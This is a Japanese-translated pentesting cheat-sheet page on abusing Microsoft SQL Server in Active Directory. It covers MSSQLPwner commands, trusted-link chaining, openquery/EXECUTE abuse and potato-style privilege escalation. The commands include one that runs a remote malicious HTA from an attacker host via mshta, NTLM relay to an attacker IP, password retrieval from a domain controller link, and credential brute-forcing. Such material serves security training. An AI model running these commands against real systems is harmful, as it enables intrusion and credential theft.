MSSQL AD Abuse
MSSQL AD Abuse
MSSQL Enumeration / Discovery
Python
MSSQLPwnerツールはimpacketに基づいており、Kerberosチケットを使用して認証し、リンクチェーンを通じて攻撃することも可能です。
```shell # Interactive mode mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth interactive
Interactive mode with 2 depth level of impersonations
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -max-impersonation-depth 2 interactive
Executing custom assembly on the current server with windows authentication and executing hostname command
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth custom-asm hostname
Executing custom assembly on the current server with windows authentication and executing hostname command on the SRV01 linked server
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 custom-asm hostname
Executing the hostname command using stored procedures on the linked SRV01 server
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 exec hostname
Executing the hostname command using stored procedures on the linked SRV01 server with sp_oacreate method
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 exec "cmd /c mshta http://192.168.45.250/malicious.hta" -command-execution-method sp_oacreate
Issuing NTLM relay attack on the SRV01 server
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 ntlm-relay 192.168.45.250
Issuing NTLM relay attack on chain ID 2e9a3696-d8c2-4edd-9bcc-2908414eeb25
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -chain-id 2e9a3696-d8c2-4edd-9bcc-2908414eeb25 ntlm-relay 192.168.45.250
Issuing NTLM relay attack on the local server with custom command
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth ntlm-relay 192.168.45.250
Executing direct query
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth direct-query "SELECT CURRENT_USER"
Retrieving password from the linked server DC01
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-server DC01 retrive-password
Execute code using custom assembly on the linked server DC01
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-server DC01 inject-custom-asm SqlInject.dll
Bruteforce using tickets, hashes, and passwords against the hosts listed on the hosts.txt
mssqlpwner hosts.txt brute -tl tickets.txt -ul users.txt -hl hashes.txt -pl passwords.txt
Bruteforce using hashes, and passwords against the hosts listed on the hosts.txt
mssqlpwner hosts.txt brute -ul users.txt -hl hashes.txt -pl passwords.txt
Bruteforce using tickets against the hosts listed on the hosts.txt
mssqlpwner hosts.txt brute -tl tickets.txt -ul users.txt
Bruteforce using passwords against the hosts listed on the hosts.txt
mssqlpwner hosts.txt brute -ul users.txt -pl passwords.txt
Bruteforce using hashes against the hosts listed on the hosts.txt
mssqlpwner hosts.txt brute -ul users.txt -hl hashes.txt
Interactive mode
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth interactive
ドメインセッションなしでのネットワークからの列挙
ドメイン内からの列挙
MSSQL 基本的な悪用
アクセス DB
MSSQL RCE
MSSQLホスト内でコマンドを実行することも可能かもしれません。
Check in the page mentioned in the following section how to do this manually.
MSSQL 基本ハッキングテクニック
1433 - Pentesting MSSQL - Microsoft SQL ServerMSSQL 信頼されたリンク
MSSQL インスタンスが別の MSSQL インスタンスによって信頼されている場合。ユーザーが信頼されたデータベースに対して権限を持っている場合、信頼関係を利用して他のインスタンスでもクエリを実行できるようになります。この信頼は連鎖させることができ、ユーザーはコマンドを実行できるような誤設定されたデータベースを見つけることができるかもしれません。
データベース間のリンクは、フォレストトラストを越えても機能します。
Powershell 悪用
Metasploit
metasploitを使用して、信頼されたリンクを簡単に確認できます。
注意してください。metasploitはMSSQLのopenquery()
関数のみを悪用しようとします(したがって、openquery()
でコマンドを実行できない場合は、コマンドを実行するためにEXECUTE
メソッドを手動で試す必要があります。詳細は以下を参照してください。)
手動 - Openquery()
Linuxからは、sqshとmssqlclient.pyを使用してMSSQLコンソールシェルを取得できます。
Windowsからも、リンクを見つけてMSSQLクライアントのようなHeidiSQLを使用してコマンドを手動で実行できます。
Windows認証を使用してログイン:
信頼できるリンクを見つける
信頼できるリンクでクエリを実行する
リンクを通じてクエリを実行します(例:新しいアクセス可能なインスタンスでさらにリンクを見つける):
ダブルクォートとシングルクォートがどこで使用されているか確認してください。それらをそのように使用することが重要です。
これらの信頼されたリンクのチェーンを手動で永遠に続けることができます。
If you cannot perform actions like exec xp_cmdshell
from openquery()
try with the EXECUTE
method.
Manual - EXECUTE
信頼されたリンクを使用して EXECUTE
を悪用することもできます:
ローカル特権昇格
MSSQLローカルユーザーは通常、**SeImpersonatePrivilege
**と呼ばれる特別なタイプの特権を持っています。これにより、アカウントは「認証後にクライアントを偽装する」ことができます。
多くの著者が考案した戦略は、SYSTEMサービスに攻撃者が作成した悪意のあるまたは中間者サービスに認証させることです。この悪意のあるサービスは、SYSTEMサービスが認証を試みている間にそのサービスを偽装することができます。
SweetPotatoには、Beaconのexecute-assembly
コマンドを介して実行できるこれらのさまざまな技術のコレクションがあります。
Last updated